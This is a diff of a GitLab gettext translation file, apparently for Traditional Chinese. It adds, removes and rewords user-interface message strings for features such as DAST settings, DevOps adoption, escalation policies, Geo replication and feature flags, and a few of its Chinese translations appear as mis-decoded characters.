-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8261,6 +8015,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8509,6 +8266,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8861,7 +8621,7 @@ msgstr "è²¢ç»è€…"
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -8900,6 +8660,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -8966,6 +8729,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9206,9 +8972,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr "建立分支"
@@ -9335,9 +9098,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9569,6 +9329,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9578,9 +9344,6 @@ msgstr "Cron 時å€"
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9596,9 +9359,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9674,6 +9434,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -9889,9 +9652,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -9958,6 +9718,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10316,9 +10088,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10343,6 +10112,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10376,7 +10148,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10496,6 +10268,9 @@ msgstr "刪除留言"
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11160,12 +10935,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11223,7 +11016,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11235,21 +11028,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11283,6 +11079,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11304,6 +11103,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11322,15 +11124,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11515,7 +11314,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11566,7 +11365,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11575,6 +11374,9 @@ msgstr "ä¸å†é¡¯ç¤º"
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "下載"
@@ -11791,9 +11593,6 @@ msgstr "編輯議題"
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11827,9 +11626,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -11890,6 +11686,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12019,6 +11818,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12028,13 +11830,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12115,13 +11920,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12139,6 +11941,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12154,9 +11959,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12166,9 +11968,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12298,6 +12097,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12463,9 +12265,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -12946,7 +12745,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -12955,30 +12754,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -12988,6 +12811,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13024,9 +12856,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13169,7 +12998,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13190,9 +13019,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13289,9 +13115,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13310,9 +13133,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13598,9 +13418,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13629,9 +13446,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13680,9 +13494,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13713,9 +13524,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13731,9 +13539,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13773,24 +13578,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13800,9 +13593,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -13885,9 +13675,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -13903,6 +13690,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -13969,9 +13759,6 @@ msgstr "é€éŽé‡Œç¨‹ç¢‘å稱篩é¸"
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14140,6 +13927,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14161,10 +13951,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14368,159 +14155,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14611,6 +14260,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14710,9 +14362,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14785,6 +14434,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14794,6 +14449,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14824,9 +14482,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14848,6 +14503,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15388,9 +15052,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15436,6 +15097,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15457,9 +15127,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15490,6 +15157,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15559,13 +15229,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15601,9 +15268,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -15916,18 +15580,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -15952,6 +15613,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -15991,15 +15655,15 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
+msgstr ""
+
msgid "Groups"
msgstr "群組"
msgid "Groups (%{count})"
msgstr ""
-msgid "Groups (%{groups})"
-msgstr ""
-
msgid "Groups and projects"
msgstr ""
@@ -16180,6 +15844,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16295,6 +15962,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16377,9 +16047,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16527,6 +16194,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16703,9 +16373,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17208,13 +16875,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17304,9 +16974,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17460,6 +17127,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17472,6 +17151,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17511,6 +17193,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17526,9 +17211,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17541,12 +17223,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17566,6 +17242,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17608,9 +17287,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17650,12 +17326,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
